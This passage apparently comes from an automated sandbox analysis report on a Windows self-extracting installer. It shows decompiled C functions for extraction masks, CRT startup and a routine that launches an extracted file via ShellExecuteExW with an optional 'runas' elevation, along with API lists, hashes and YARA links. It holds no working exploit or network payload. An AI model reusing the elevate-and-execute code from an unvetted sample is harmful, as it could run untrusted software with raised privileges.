				signed int _v24;
				char* _v28;
				signed int _v32;
				short _v36;
				short _v40;
				intOrPtr* _v44;
				char _v56;
				char _v68;
				char _v80;
				signed int _v88;
				char _v92;
				short _v94;
				char _v96;
				char _v104;
				signed int _t93;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				intOrPtr _t100;
				intOrPtr _t102;
				intOrPtr* _t104;
				signed int _t105;
				signed int _t108;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t114;
				signed int _t115;
				signed int _t118;
				signed int _t119;
				char* _t132;
				intOrPtr _t147;
				void* _t175;
				signed int _t177;
				char* _t181;
				intOrPtr _t182;
				signed int _t186;
				intOrPtr _t190;
				intOrPtr _t191;

				_t175 = __edx;
				 *0x422774 =  *0x422774 & 0xfffffff7;
				_v44 = __ecx;
				_v40 = 0;
				_t93 = E00401303(0x4227b8, __eflags);
				if(_t93 != 0) {
					__eflags =  *0x4228d8 - 2;
					if( *0x4228d8 == 2) {
						L9:
						_push(0x48);
						L0041C16C();
						__eflags = _t93;
						if(_t93 == 0) {
							_v36 = 0;
						} else {
							_v36 = E004025B4(_t93);
						}
						_t181 = L"ExtractMaskInclude";
						E00402C44(_t181);
						_t132 = L"ExtractMaskExclude";
						E00402C44(_t132);
						__eflags =  *0x422774 & 0x00000020;
						_v28 = _t132;
						_v20 = _t181;
						if(( *0x422774 & 0x00000020) != 0) {
							_v28 = _t181;
							_v20 = _t132;
						}
						_t96 = E00404F59();
						__eflags = _t96;
						if(_t96 == 0) {
							E004147DF(E004147DF(_t96,  &_v104),  &_v92);
							E00414864( &_v104, _v20);
							E00414864( &_v92, 0x41dbb8);
							E0040287B( &_v104, 0x4227a0, 0,  &_v104);
							_push(_v92);
							L0041C160();
							_push(_v104);
							L0041C160();
						}
						_t97 = E0040115F(0x4227b8);
						_t177 = 4;
						_v32 = _t97;
						_t178 = _t97 * _t177 >> 0x20;
						_t98 = _t97 * _t177;
						_push( ~(0 | __eflags > 0x00000000) | _t98);
						L0041C16C();
						_t182 = 0;
						_t186 = 0;
						_v24 = _t98;
						__eflags = _v32;
						if(_v32 <= 0) {
							L39:
							_t147 = _v36;
							 *((intOrPtr*)(_t147 + 0x30)) = _v24;
							 *(_t147 + 0x34) = _t186;
							__eflags = _t186;
							if(_t186 != 0) {
								_t102 = E00402766(_t147, _t178,  *_v44); // executed
								_v40 = _t102;
							}
							_push(_v24);
							L0041C160();
							_t100 = _v40;
							L42:
							L43:
							return _t100;
						} else {
							do {
								_v88 = _v88 & 0;
								_t178 =  &_v96;
								_v96 = 0;
								_v94 = 0;
								_t104 =  *0x4227c0; // 0x9d2680
								_t105 =  *((intOrPtr*)( *_t104 + 0x18))(_t104, _t182, 3,  &_v96);
								__eflags = _t105;
								if(_t105 != 0) {
									goto L38;
								}
								__eflags = _v96 - 8;
								if(_v96 != 8) {
									goto L38;
								}
								E00414803( &_v56, _v88);
								_v16 = _v16 & 0x00000000;
								_t40 =  &_v12;
								 *_t40 = _v12 & 0x00000000;
								__eflags =  *_t40;
								do {
									_t178 =  &_v12;
									_t108 = E00404F59();
									__eflags = _t108;
									if(_t108 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									E00414803( &_v68, _t108);
									_t178 =  &_v56;
									_t118 = E00414C8A( &_v68,  &_v56);
									_push(_v68);
									__eflags = _t118;
									_v5 = _t118 != 0;
									L0041C160();
									__eflags = _v5;
									if(_v5 != 0) {
										_t178 = _v28;
										_t119 = E00402510(_t182, _v28);
										__eflags = _t119;
										if(_t119 != 0) {
											 *((intOrPtr*)(_v24 + _t186 * 4)) = _t182;
											_t186 = _t186 + 1;
											__eflags = _t186;
										}
										_v16 = 1;
									}
									__eflags = _v16;
								} while (_v16 == 0);
								_v12 = _v12 & 0x00000000;
								__eflags = _v16;
								if(_v16 != 0) {
									L37:
									_push(_v56);
									L0041C160();
									goto L38;
								} else {
									goto L27;
								}
								do {
									L27:
									_t178 =  &_v12;
									_t109 = E00404F59();
									__eflags = _t109;
									if(_t109 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									E00414803( &_v80, _t109);
									_t178 =  &_v56;
									_t114 = E00414C8A( &_v80,  &_v56);
									_push(_v80);
									__eflags = _t114;
									L0041C160();
									__eflags = _t132 & 0xffffff00 | _t114 != 0x00000000;
									if((_t132 & 0xffffff00 | _t114 != 0x00000000) != 0) {
										_t178 = _v20;
										_t115 = E00402510(_t182, _v20);
										__eflags = _t115;
										if(_t115 != 0) {
											 *((intOrPtr*)(_v24 + _t186 * 4)) = _t182;
											_t186 = _t186 + 1;
											__eflags = _t186;
										}
										_v16 = 1;
									}
									__eflags = _v16;
									_t132 = L"ExtractMaskExclude";
								} while (_v16 == 0);
								__eflags = _v16;
								if(_v16 == 0) {
									_t178 = _t132;
									_t110 = E0041422F(_t132);
									__eflags = _t110;
									if(_t110 == 0) {
										_t178 = L"ExtractMaskInclude";
										_t111 = E00402510(_t182, L"ExtractMaskInclude");
										__eflags = _t111;
										if(_t111 != 0) {
											 *((intOrPtr*)(_v24 + _t186 * 4)) = _t182;
											_t186 = _t186 + 1;
											__eflags = _t186;
										}
									}
								}
								goto L37;
								L38:
								E00414129( &_v96);
								_t182 = _t182 + 1;
								__eflags = _t182 - _v32;
							} while (_t182 < _v32);
							goto L39;
						}
					}
					_t93 = E0040468A( *__ecx, _t175); // executed
					__eflags = _t93;
					if(_t93 != 0) {
						goto L9;
					} else {
						_t100 = 0x80004005;
						goto L43;
					}
				}
				_t190 =  *0x422700; // 0x0
				if(_t190 != 0) {
					L4:
					_push(0x13);
					L5:
					_pop(_t128);
					_push(0);
					E00409684(_t175);
					_t100 = 0x80004005;
					goto L42;
				}
				_t191 =  *0x422704; // 0x0
				if(_t191 != 0) {
					goto L4;
				} else {
					_push(8);
					goto L5;
				}
			}

0x00402cb1
0x00402cb7
0x00402ccc
0x00402ccf
0x00402cd2
0x00402cd9
0x00402d04
0x00402d0b
0x00402d22
0x00402d22
0x00402d24
0x00402d2a
0x00402d2c
0x00402d3a
0x00402d2e
0x00402d35
0x00402d35
0x00402d3d
0x00402d44
0x00402d49
0x00402d50
0x00402d55
0x00402d5c
0x00402d5f
0x00402d62
0x00402d64
0x00402d67
0x00402d67
0x00402d6f
0x00402d74
0x00402d76
0x00402d83
0x00402d8e
0x00402d9b
0x00402da9
0x00402dae
0x00402db1
0x00402db6
0x00402db9
0x00402dbf
0x00402dc2
0x00402dcb
0x00402dcc
0x00402dcf
0x00402dcf
0x00402dd8
0x00402dd9
0x00402dde
0x00402de0
0x00402de3
0x00402de6
0x00402de9
0x00402f44
0x00402f44
0x00402f4a
0x00402f4d
0x00402f50
0x00402f52
0x00402f59
0x00402f5e
0x00402f5e
0x00402f61
0x00402f64
0x00402f69
0x00402f6c
0x00402f6d
0x00402f71
0x00402def
0x00402def
0x00402df1
0x00402df4
0x00402dfa
0x00402dfe
0x00402e02
0x00402e0b
0x00402e0e
0x00402e10
0x00000000
0x00000000
0x00402e16
0x00402e1b
0x00000000
0x00000000
0x00402e27
0x00402e2c
0x00402e30
0x00402e30
0x00402e30
0x00402e34
0x00402e37
0x00402e3a
0x00402e3f
0x00402e41
0x00000000
0x00000000
0x00402e43
0x00402e4a
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e5f
0x00402e63
0x00402e68
0x00402e6d
0x00402e6f
0x00402e74
0x00402e79
0x00402e7b
0x00402e80
0x00402e83
0x00402e83
0x00402e83
0x00402e84
0x00402e84
0x00402e8b
0x00402e8b
0x00402e91
0x00402e95
0x00402e99
0x00402f29
0x00402f29
0x00402f2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e9f
0x00402e9f
0x00402ea2
0x00402ea5
0x00402eaa
0x00402eac
0x00000000
0x00000000
0x00402eae
0x00402eb5
0x00402eba
0x00402ec0
0x00402ec5
0x00402ec8
0x00402ecd
0x00402ed3
0x00402ed5
0x00402ed7
0x00402edc
0x00402ee1
0x00402ee3
0x00402ee8
0x00402eeb
0x00402eeb
0x00402eeb
0x00402eec
0x00402eec
0x00402ef3
0x00402ef7
0x00402ef7
0x00402efe
0x00402f02
0x00402f07
0x00402f09
0x00402f0e
0x00402f10
0x00402f12
0x00402f19
0x00402f1e
0x00402f20
0x00402f25
0x00402f28
0x00402f28
0x00402f28
0x00402f20
0x00402f10
0x00000000
0x00402f32
0x00402f35
0x00402f3a
0x00402f3b
0x00402f3b
0x00000000
0x00402def
0x00402de9
0x00402d0f
0x00402d14
0x00402d16
0x00000000
0x00402d18
0x00402d18
0x00000000
0x00402d18
0x00402d16
0x00402cdb
0x00402ce1
0x00402cef
0x00402cef
0x00402cf1
0x00402cf1
0x00402cf3
0x00402cf4
0x00402cfa
0x00000000
0x00402cfa
0x00402ce3
0x00402ce9
0x00000000
0x00402ceb
0x00402ceb
0x00000000
0x00402ceb

APIs

??2@YAPAXI@Z.MSVCRT ref: 00402D24
??3@YAXPAX@Z.MSVCRT ref: 00402DB1
??3@YAXPAX@Z.MSVCRT ref: 00402DB9
??2@YAPAXI@Z.MSVCRT ref: 00402DD9
??3@YAXPAX@Z.MSVCRT ref: 00402E63
??3@YAXPAX@Z.MSVCRT ref: 00402ECD
??3@YAXPAX@Z.MSVCRT ref: 00402F2C
??3@YAXPAX@Z.MSVCRT ref: 00402F64

Strings

PreExtract, xrefs: 00402CC0
ExtractMaskInclude, xrefs: 00402D3D, 00402F12
ExtractMaskExclude, xrefs: 00402D49, 00402EF7

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID: ExtractMaskExclude$ExtractMaskInclude$PreExtract
API String ID: 4113381792-1386291556
Opcode ID: 0d0460d73eba80c1a101dab9caf3688d59568b34065a0a7196b0bfa7add7f1f1
Instruction ID: d17b0469287da104a56fb6e9b72567ba4b72c6d001a8acf4ea1ba453b7e2a31c
Opcode Fuzzy Hash: 0d0460d73eba80c1a101dab9caf3688d59568b34065a0a7196b0bfa7add7f1f1
Instruction Fuzzy Hash: D4815E70E0021AABDF14EBA5DA556EEB7B1AF84314F10403FE405B72D1DBB88D86DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00403834, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 69
timewindowCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00403834(void* __edx) {
				struct tagRECT _v20;
				struct tagMSG _v48;
				struct HWND__* _t9;
				int _t21;
				int _t27;
				void* _t28;
				struct HWND__* _t29;

				_t28 = __edx;
				_t9 = CreateWindowExW(0x80, L"tooltips_class32", L"sfx", 0, 0, 0, 0, 0, 0, 0, GetModuleHandleW(0), 0); // executed
				_t29 = _t9;
				GetWindowRect(GetDesktopWindow(),  &_v20);
				asm("cdq");
				asm("cdq");
				_t21 = SetWindowPos(_t29, 0, _v20.right - _v20.left - _t28 >> 1, _v20.bottom - _v20.top - _t28 >> 1, 0, 0, 4);
				if(_t29 != 0) {
					SetTimer(_t29, 1, 1, 0); // executed
					GetMessageW( &_v48, 0, 0, 0);
					DispatchMessageW( &_v48);
					_t27 = KillTimer(_t29, 1);
					 *0x42272c = _t29;
					return _t27;
				}
				return _t21;
			}

0x00403834
0x0040385d
0x00403863
0x00403870
0x0040387e
0x0040388c
0x00403894
0x0040389c
0x004038a4
0x004038b1
0x004038bb
0x004038c4
0x004038ca
0x00000000
0x004038ca
0x004038d3

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 00403840
CreateWindowExW.USER32 ref: 0040385D
GetDesktopWindow.USER32 ref: 00403869
GetWindowRect.USER32 ref: 00403870
SetWindowPos.USER32(00000000,00000000,?,00406043,00000000,00000000,00000004), ref: 00403894
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 004038A4
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004038B1
DispatchMessageW.USER32 ref: 004038BB
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,?,?,?,?,00406043,?,00000000), ref: 004038C4

Strings

sfx, xrefs: 0040384E
tooltips_class32, xrefs: 00403853

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MessageTimer$CreateDesktopDispatchHandleKillModuleRect
String ID: sfx$tooltips_class32
API String ID: 3184818434-2224206080
Opcode ID: 3563f08bb3cb8092991ced233f77f7c04de6a27a174827c095c902f2545c8bd1
Instruction ID: 0e7f13be778ebd409a4db15796a4025058a8725858d3a305ba7ca36a6b4cbd87
Opcode Fuzzy Hash: 3563f08bb3cb8092991ced233f77f7c04de6a27a174827c095c902f2545c8bd1
Instruction Fuzzy Hash: 95115EB2A01224BBCB109BB99D4DEEF7F7DEF49751F008160F615E2094CAB49100CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041C35F, Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 72%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t54;
				intOrPtr _t57;
				intOrPtr _t60;

				_push(0xffffffff);
				_push(0x41fa80);
				_push(0x41c4f0);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t57;
				_v28 = _t57 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x426c88 =  *0x426c88 | 0xffffffff;
				 *0x426c8c =  *0x426c8c | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x424c74; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x424c70; // 0x0
				 *_t24 = _t47;
				 *0x426c84 = _adjust_fdiv;
				_t27 = E0041C4EB( *_adjust_fdiv);
				_t60 =  *0x4226f0; // 0x1
				if(_t60 == 0) {
					__setusermatherr(E0041C4E8);
					_pop(_t47);
				}
				E0041C4D6(_t27);
				_push(0x422080);
				_push(0x42207c);
				L0041C4D0();
				_t29 =  *0x424c6c; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x424c68,  &_v112);
				_push(0x422078);
				_push(0x422000); // executed
				L0041C4D0(); // executed
				_t54 =  *_acmdln;
				_v120 = _t54;
				if( *_t54 != 0x22) {
					while( *_t54 > 0x20) {
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				} else {
					do {
						_t54 = _t54 + 1;
						_v120 = _t54;
						_t42 =  *_t54;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t54 == 0x22) {
						L6:
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				}
				_t36 =  *_t54;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t54);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00407014(_t47);
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0041C4CA();
				return _t41;
			}

0x0041c362
0x0041c364
0x0041c369
0x0041c374
0x0041c375
0x0041c382
0x0041c387
0x0041c38c
0x0041c393
0x0041c39a
0x0041c3a1
0x0041c3a7
0x0041c3ad
0x0041c3af
0x0041c3b5
0x0041c3bb
0x0041c3c4
0x0041c3c9
0x0041c3ce
0x0041c3d4
0x0041c3db
0x0041c3e1
0x0041c3e1
0x0041c3e2
0x0041c3e7
0x0041c3ec
0x0041c3f1
0x0041c3f6
0x0041c3fb
0x0041c414
0x0041c41a
0x0041c41f
0x0041c424
0x0041c431
0x0041c433
0x0041c439
0x0041c475
0x0041c47a
0x0041c47b
0x0041c47b
0x0041c43b
0x0041c43b
0x0041c43b
0x0041c43c
0x0041c43f
0x0041c441
0x0041c44c
0x0041c44e
0x0041c44e
0x0041c44f
0x0041c44f
0x0041c44c
0x0041c452
0x0041c456
0x00000000
0x00000000
0x0041c45c
0x0041c463
0x0041c46d
0x0041c482
0x0041c46f
0x0041c46f
0x0041c46f
0x0041c483
0x0041c484
0x0041c485
0x0041c48d
0x0041c48e
0x0041c493
0x0041c497
0x0041c49d
0x0041c4a2
0x0041c4a4
0x0041c4a7
0x0041c4a8
0x0041c4a9
0x0041c4b0

APIs

__set_app_type.MSVCRT ref: 0041C38C
__p__fmode.MSVCRT ref: 0041C3A1
__p__commode.MSVCRT ref: 0041C3AF
__setusermatherr.MSVCRT ref: 0041C3DB
_initterm.MSVCRT ref: 0041C3F1
__getmainargs.MSVCRT ref: 0041C414
_initterm.MSVCRT ref: 0041C424
GetStartupInfoA.KERNEL32(?), ref: 0041C463
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0041C487
exit.KERNELBASE ref: 0041C497
_XcptFilter.MSVCRT ref: 0041C4A9

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 6ba2aeb5cbc5bc23aab9a516162c53aab4a9e006d365dc7ef0cafc49e58abbcf
Instruction ID: 67ce4814ce78279d72a23206d993da328827abf4023638930e906dbcac5dfea8
Opcode Fuzzy Hash: 6ba2aeb5cbc5bc23aab9a516162c53aab4a9e006d365dc7ef0cafc49e58abbcf
Instruction Fuzzy Hash: 0E418EB1D84354AFDB209FA5DC95AFA7BB8FB09714F20422BF491972A1C7784881CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00401C59, Relevance: 15.1, APIs: 10, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00401C59(intOrPtr __ecx, signed int __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v16;
				char _v20;
				char _v32;
				struct _SHELLEXECUTEINFOW _v92;
				void* _t36;
				struct HWND__* _t42;
				int _t50;
				int _t51;
				signed int _t55;
				signed int _t56;
				int _t66;

				_v8 = __ecx;
				_t55 = __edx;
				E004147DF(E004147DF(_t36,  &_v20),  &_v32);
				_t66 = 0;
				memset( &_v92, 0, 0x3c);
				_v92.cbSize = 0x3c;
				_v92.lpDirectory = _a4;
				_v92.fMask = 0x740;
				_v92.nShow = 0xa;
				if((_t55 & 0x00000001) != 0) {
					_v92.nShow = 0;
					_v92.fMask = 0x8740;
				}
				if((_t55 & 0x00000002) != 0) {
					_v92.lpVerb = L"runas";
				}
				_t56 = _t55 & 0x00010000;
				if(_t56 == 0) {
					_v92.fMask = _v92.fMask | 0x00000100;
				}
				_t42 =  *0x42272c; // 0x2d0260
				_v92.hwnd = _t42;
				ShowWindow(_t42, 5); // executed
				BringWindowToTop(_v92.hwnd);
				E00414864( &_v32, E00403022(_v8,  &_v20));
				if(_v16 != _t66) {
					_v92.lpFile = _v20;
					_v92.lpParameters = _v32;
					_t50 = ShellExecuteExW( &_v92); // executed
					if(_t50 != 0) {
						if(_t56 == _t66) {
							WaitForSingleObject(_v92.hProcess, 0xffffffff);
						}
						CloseHandle(_v92.hProcess);
						_t66 = 1;
					}
					_push(_v32);
					L0041C160();
					_push(_v20);
					L0041C160();
					_t51 = _t66;
				} else {
					_push(_v32);
					L0041C160();
					_push(_v20);
					L0041C160();
					_t51 = 1;
				}
				return _t51;
			}

0x00401c60
0x00401c67
0x00401c71
0x00401c78
0x00401c7f
0x00401c8a
0x00401c91
0x00401c94
0x00401c9b
0x00401ca5
0x00401ca7
0x00401caa
0x00401caa
0x00401cb4
0x00401cb6
0x00401cb6
0x00401cbd
0x00401cc3
0x00401cc5
0x00401cc5
0x00401ccc
0x00401cd4
0x00401cd7
0x00401ce0
0x00401cf5
0x00401cfd
0x00401d17
0x00401d1d
0x00401d24
0x00401d2c
0x00401d30
0x00401d37
0x00401d37
0x00401d40
0x00401d48
0x00401d48
0x00401d49
0x00401d4c
0x00401d51
0x00401d54
0x00401d59
0x00401cff
0x00401cff
0x00401d02
0x00401d07
0x00401d0a
0x00401d11
0x00401d11
0x00401d60

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

memset.MSVCRT ref: 00401C7F
ShowWindow.USER32(002D0260,00000005,?,0041D9F0,00000000), ref: 00401CD7
BringWindowToTop.USER32 ref: 00401CE0
??3@YAXPAX@Z.MSVCRT ref: 00401D02
??3@YAXPAX@Z.MSVCRT ref: 00401D0A
ShellExecuteExW.SHELL32(0000003C), ref: 00401D24
WaitForSingleObject.KERNEL32(?,000000FF,?,0041D9F0,00000000), ref: 00401D37
CloseHandle.KERNEL32(?,?,0041D9F0,00000000), ref: 00401D40
??3@YAXPAX@Z.MSVCRT ref: 00401D4C
??3@YAXPAX@Z.MSVCRT ref: 00401D54

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$Window$??2@BringCloseExecuteHandleObjectShellShowSingleWaitmemset
String ID:
API String ID: 1117119541-0
Opcode ID: dff4abdc5303b9fd1c782baafb5de2873828b693f90045e820f85eb0d88bb0bc
Instruction ID: 6f8207a67a2572a909a3f2a1a43fdbbd5cf9fef0efaf3e720be5f44350d0943e
Opcode Fuzzy Hash: dff4abdc5303b9fd1c782baafb5de2873828b693f90045e820f85eb0d88bb0bc
Instruction Fuzzy Hash: 96318BB1D40208ABDF11EFE5DC89ADEBBB5FF84304F10802AE121B62A5DB785945CF08

Uniqueness

Uniqueness Score: -1.00%

Function 00417D32, Relevance: 11.0, APIs: 7, Instructions: 497
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00417D32() {
				void* __esi;
				signed int _t244;
				signed int _t248;
				signed int _t253;
				signed int _t257;
				signed int _t259;
				signed int _t260;
				signed int _t261;
				signed int _t267;
				signed int _t268;
				signed int _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t288;
				signed int _t289;
				intOrPtr _t296;
				signed int _t298;
				signed int _t299;
				signed int _t304;
				signed int _t306;
				signed int _t307;
				signed int _t313;
				signed int _t315;
				signed int _t316;
				signed int _t331;
				signed int _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				signed int _t376;
				intOrPtr _t398;
				signed int _t404;
				signed int _t416;
				signed int _t423;
				intOrPtr _t425;
				signed int _t426;
				signed int _t428;
				signed int _t429;
				signed int _t431;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t436;
				void* _t437;
				signed int _t439;
				signed int _t443;
				intOrPtr* _t445;
				void* _t447;

				L0041C1F0();
				 *((intOrPtr*)(_t445 - 0x10)) = _t447 - 0xfffffffffffffff0;
				 *(_t445 - 4) = 0;
				_t428 =  *(_t445 + 0x7c);
				_t341 = _t428;
				 *(_t445 + 0x60) = _t341;
				if(_t428 != 0) {
					 *((intOrPtr*)( *_t428 + 4))(_t428);
				}
				 *((intOrPtr*)(_t445 + 0x24)) = 0;
				 *((intOrPtr*)(_t445 + 0x28)) = 0;
				 *(_t445 + 0x7f) =  *((intOrPtr*)(_t445 + 0x74)) == 0xffffffff;
				_t443 =  *(_t445 + 0x6c);
				if( *(_t445 + 0x7f) != 0) {
					 *((intOrPtr*)(_t445 + 0x74)) =  *((intOrPtr*)(_t443 + 0x6c));
				}
				if( *((intOrPtr*)(_t445 + 0x74)) != 0) {
					 *(_t445 + 0x1c) =  *(_t445 + 0x1c) | 0xffffffff;
					 *(_t445 + 0x18) = 0;
					_t429 = 0;
					__eflags = 0;
					while(1) {
						 *(_t445 + 0xc) = _t429;
						__eflags = _t429 -  *((intOrPtr*)(_t445 + 0x74));
						if(_t429 >=  *((intOrPtr*)(_t445 + 0x74))) {
							break;
						}
						__eflags =  *(_t445 + 0x7f);
						if( *(_t445 + 0x7f) == 0) {
							_t426 =  *( *((intOrPtr*)(_t445 + 0x70)) + _t429 * 4);
						} else {
							_t426 = _t429;
						}
						_t331 =  *( *((intOrPtr*)(_t443 + 0x12c)) + _t426 * 4);
						 *(_t445 + 0x6c) = _t331;
						__eflags = _t331 - 0xffffffff;
						if(_t331 == 0xffffffff) {
							L21:
							_t429 = _t429 + 1;
							continue;
						} else {
							__eflags = _t331 -  *(_t445 + 0x1c);
							if(_t331 !=  *(_t445 + 0x1c)) {
								L16:
								_t416 =  *( *((intOrPtr*)(_t443 + 0x128)) + _t331 * 4);
								 *(_t445 + 0x18) = _t416;
								L17:
								 *(_t445 + 0x38) = _t416;
								while(1) {
									__eflags =  *(_t445 + 0x38) - _t426;
									if( *(_t445 + 0x38) > _t426) {
										break;
									}
									 *((intOrPtr*)(_t445 + 0x24)) =  *((intOrPtr*)(_t445 + 0x24)) +  *((intOrPtr*)( *(_t445 + 0x38) * 0x18 +  *((intOrPtr*)(_t443 + 0x68))));
									asm("adc [ebp+0x28], eax");
									 *(_t445 + 0x38) =  *(_t445 + 0x38) + 1;
									_t341 =  *(_t445 + 0x60);
									_t331 =  *(_t445 + 0x6c);
								}
								_t416 = _t426 + 1;
								 *(_t445 + 0x18) = _t416;
								 *(_t445 + 0x1c) = _t331;
								_t429 =  *(_t445 + 0xc);
								goto L21;
							}
							__eflags = _t426 - _t416;
							if(_t426 >= _t416) {
								goto L17;
							}
							goto L16;
						}
					}
					_t244 =  *((intOrPtr*)( *_t341 + 0xc))(_t341,  *((intOrPtr*)(_t445 + 0x24)),  *((intOrPtr*)(_t445 + 0x28)));
					__eflags = _t244;
					if(_t244 == 0) {
						_push(0x38);
						L0041C16C();
						__eflags = _t244;
						if(_t244 == 0) {
							_t342 = 0;
							__eflags = 0;
						} else {
							_t342 = E004161A3(_t244);
						}
						 *(_t445 + 0x2c) = _t342;
						 *(_t445 + 0x54) = _t342;
						__eflags = _t342;
						if(_t342 != 0) {
							 *((intOrPtr*)( *_t342 + 4))(_t342);
						}
						_t431 =  *(_t445 + 0x60);
						E004160C9(_t342, _t431);
						E00416FE1(_t445 - 0x7c, __eflags, 1);
						 *(_t445 + 0x5c) =  *(_t445 + 0x5c) & 0x00000000;
						_t248 =  *((intOrPtr*)( *_t431))(_t431, 0x41d500, _t445 + 0x5c, 0);
						_push(0x38);
						L0041C16C();
						__eflags = _t248;
						if(_t248 == 0) {
							_t248 = 0;
							__eflags = 0;
						} else {
							 *_t248 = 0x41f7c4;
							 *((intOrPtr*)(_t248 + 4)) = 0;
							 *_t248 = 0x41f964;
							 *((intOrPtr*)(_t248 + 8)) = 0;
							 *((short*)(_t248 + 0xc)) = 0x100;
							 *((intOrPtr*)(_t248 + 0x30)) = 0;
						}
						_t432 = _t248;
						 *(_t445 + 0x3c) = _t432;
						 *(_t445 + 0x50) = _t432;
						__eflags = _t432;
						if(_t432 != 0) {
							 *((intOrPtr*)( *_t432 + 4))(_t432);
						}
						 *((intOrPtr*)(_t432 + 0x2c)) = _t443 + 0x10;
						_t73 = _t432 + 0x30; // 0x30
						E004160A2(_t73,  *(_t445 + 0x60));
						__eflags =  *(_t445 + 0x78);
						 *((char*)(_t432 + 0xc)) = 0 |  *(_t445 + 0x78) != 0x00000000;
						__eflags =  *(_t443 + 0x158);
						_t80 =  *(_t443 + 0x158) != 0;
						__eflags = _t80;
						 *((char*)(_t432 + 0xd)) = 0 | _t80;
						 *(_t445 + 0x44) = 0;
						while(1) {
							_t433 =  *(_t445 + 0x50);
							_t343 = E00416097(_t342);
							__eflags = _t343;
							if(_t343 != 0) {
								break;
							}
							_t253 =  *(_t445 + 0x44);
							__eflags = _t253 -  *((intOrPtr*)(_t445 + 0x74));
							if(_t253 <  *((intOrPtr*)(_t445 + 0x74))) {
